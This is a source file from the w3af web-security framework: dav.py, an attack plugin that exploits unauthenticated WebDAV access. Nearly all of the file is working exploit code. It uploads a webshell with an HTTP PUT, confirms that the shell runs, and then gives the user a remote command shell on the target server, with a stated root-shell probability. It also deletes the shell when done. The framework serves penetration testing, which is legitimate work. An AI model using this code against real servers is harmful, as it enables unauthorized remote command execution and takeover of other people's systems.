PageRenderTime 49ms CodeModel.GetById 21ms RepoModel.GetById 1ms app.codeStats 0ms

/w3af/plugins/attack/dav.py

https://github.com/andresriancho/w3af
Python | 191 lines | 150 code | 7 blank | 34 comment | 5 complexity | 8cf433aa64a215a9fd6b05b571bc32c7 MD5 | raw file
  1. """
  2. dav.py
  3. Copyright 2006 Andres Riancho
  4. This file is part of w3af, http://w3af.org/ .
  5. w3af is free software; you can redistribute it and/or modify
  6. it under the terms of the GNU General Public License as published by
  7. the Free Software Foundation version 2 of the License.
  8. w3af is distributed in the hope that it will be useful,
  9. but WITHOUT ANY WARRANTY; without even the implied warranty of
  10. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  11. GNU General Public License for more details.
  12. You should have received a copy of the GNU General Public License
  13. along with w3af; if not, write to the Free Software
  14. Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  15. """
  16. import w3af.core.controllers.output_manager as om
  17. import w3af.plugins.attack.payloads.shell_handler as shell_handler
  18. from w3af.core.data.fuzzer.utils import rand_alpha
  19. from w3af.core.data.kb.exec_shell import ExecShell
  20. from w3af.core.data.parsers.doc.url import URL
  21. from w3af.core.controllers.exceptions import BaseFrameworkException
  22. from w3af.core.controllers.plugins.attack_plugin import AttackPlugin
  23. class dav(AttackPlugin):
  24. """
  25. Exploit web servers that have unauthenticated DAV access.
  26. :author: Andres Riancho (andres.riancho@gmail.com)
  27. """
  28. def __init__(self):
  29. AttackPlugin.__init__(self)
  30. # Internal variables
  31. self._exploit_url = None
  32. def get_attack_type(self):
  33. """
  34. :return: The type of exploit, SHELL, PROXY, etc.
  35. """
  36. return 'shell'
  37. def get_kb_location(self):
  38. """
  39. This method should return the vulnerability name (as saved in the kb)
  40. to exploit. For example, if the audit.os_commanding plugin finds an
  41. vuln, and saves it as:
  42. kb.kb.append( 'os_commanding' , 'os_commanding', vuln )
  43. Then the exploit plugin that exploits os_commanding
  44. ( attack.os_commanding ) should return 'os_commanding' in this method.
  45. """
  46. return ['dav']
  47. def _generate_shell(self, vuln_obj):
  48. """
  49. :param vuln_obj: The vuln to exploit.
  50. :return: The shell object based on the vulnerability that was passed as
  51. a parameter.
  52. """
  53. # Check if we really can execute commands on the remote server
  54. if self._verify_vuln(vuln_obj):
  55. # Create the shell object
  56. shell_obj = DAVShell(vuln_obj, self._uri_opener, self.worker_pool,
  57. self._exploit_url)
  58. return shell_obj
  59. else:
  60. return None
  61. def _verify_vuln(self, vuln_obj):
  62. """
  63. This command verifies a vuln. This is really hard work! :P
  64. :return : True if vuln can be exploited.
  65. """
  66. # Create the shell
  67. filename = rand_alpha(7)
  68. extension = vuln_obj.get_url().get_extension()
  69. # I get a list of tuples with file_content and extension to use
  70. shell_list = shell_handler.get_webshells(extension)
  71. for file_content, real_extension in shell_list:
  72. if extension == '':
  73. extension = real_extension
  74. om.out.debug('Uploading shell with extension: "%s".' % extension)
  75. # Upload the shell
  76. fname = '%s.%s' % (filename, extension)
  77. url_to_upload = vuln_obj.get_url().url_join(fname)
  78. om.out.debug('Uploading file %s using PUT method.' % url_to_upload)
  79. self._uri_opener.PUT(url_to_upload, data=file_content)
  80. # Verify if I can execute commands
  81. # All w3af shells, when invoked with a blank command, return a
  82. # specific value in the response:
  83. # shell_handler.SHELL_IDENTIFIER
  84. exploit_url = URL(url_to_upload + '?cmd=')
  85. response = self._uri_opener.GET(exploit_url)
  86. if shell_handler.SHELL_IDENTIFIER in response.get_body():
  87. msg = ('The uploaded shell returned the SHELL_IDENTIFIER, which'
  88. ' verifies that the file was uploaded and is being'
  89. ' executed.')
  90. om.out.debug(msg)
  91. self._exploit_url = exploit_url
  92. return True
  93. else:
  94. msg = ('The uploaded shell with extension: "%s" did NOT return'
  95. ' the SHELL_IDENTIFIER, which means that the file was'
  96. ' not uploaded to the remote server or the code is not'
  97. ' being run. The returned body was: "%s".')
  98. om.out.debug(msg % (extension, response.get_body()))
  99. extension = ''
  100. def get_root_probability(self):
  101. """
  102. :return: This method returns the probability of getting a root shell
  103. using this attack plugin. This is used by the "exploit *"
  104. function to order the plugins and first try to exploit the
  105. more critical ones. This method should return 0 for an exploit
  106. that will never return a root shell, and 1 for an exploit that
  107. WILL ALWAYS return a root shell.
  108. """
  109. return 0.8
  110. def get_long_desc(self):
  111. """
  112. :return: A DETAILED description of the plugin functions and features.
  113. """
  114. return """
  115. This plugin exploits webDAV misconfigurations and returns a shell. It is
  116. rather simple, using the dav method "PUT" the plugin uploads the
  117. corresponding webshell ( php, asp, etc. ) verifies that the shell is
  118. working, and if everything is working as expected the user can start
  119. typing commands.
  120. """
  121. class DAVShell(ExecShell):
  122. def __init__(self, vuln, uri_opener, worker_pool, exploit_url):
  123. super(DAVShell, self).__init__(vuln, uri_opener, worker_pool)
  124. self.exploit_url = exploit_url
  125. def execute(self, command):
  126. """
  127. This method executes a command in the remote operating system by
  128. exploiting the vulnerability.
  129. :param command: The command to handle ( ie. "ls", "whoami", etc ).
  130. :return: The result of the command.
  131. """
  132. to_send = self.exploit_url + command
  133. to_send = URL(to_send)
  134. response = self._uri_opener.GET(to_send)
  135. return shell_handler.extract_result(response.get_body())
  136. def end(self):
  137. url_to_del = self.exploit_url.uri2url()
  138. msg = 'DAVShell is going to delete the web shell that was uploaded' \
  139. ' to %s.'
  140. om.out.debug(msg % url_to_del)
  141. try:
  142. self._uri_opener.DELETE(url_to_del)
  143. except BaseFrameworkException, e:
  144. om.out.error('DAVShell cleanup failed with exception: "%s".' % e)
  145. else:
  146. om.out.debug('DAVShell cleanup complete, %s deleted.' % url_to_del)
  147. def get_name(self):
  148. return 'dav'
  149. def __reduce__(self):
  150. """
  151. Need to define this method since the Shell class defines it, and we have
  152. a different number of __init__ parameters.
  153. """
  154. return self.__class__, (self._vuln, None, None, self.exploit_url)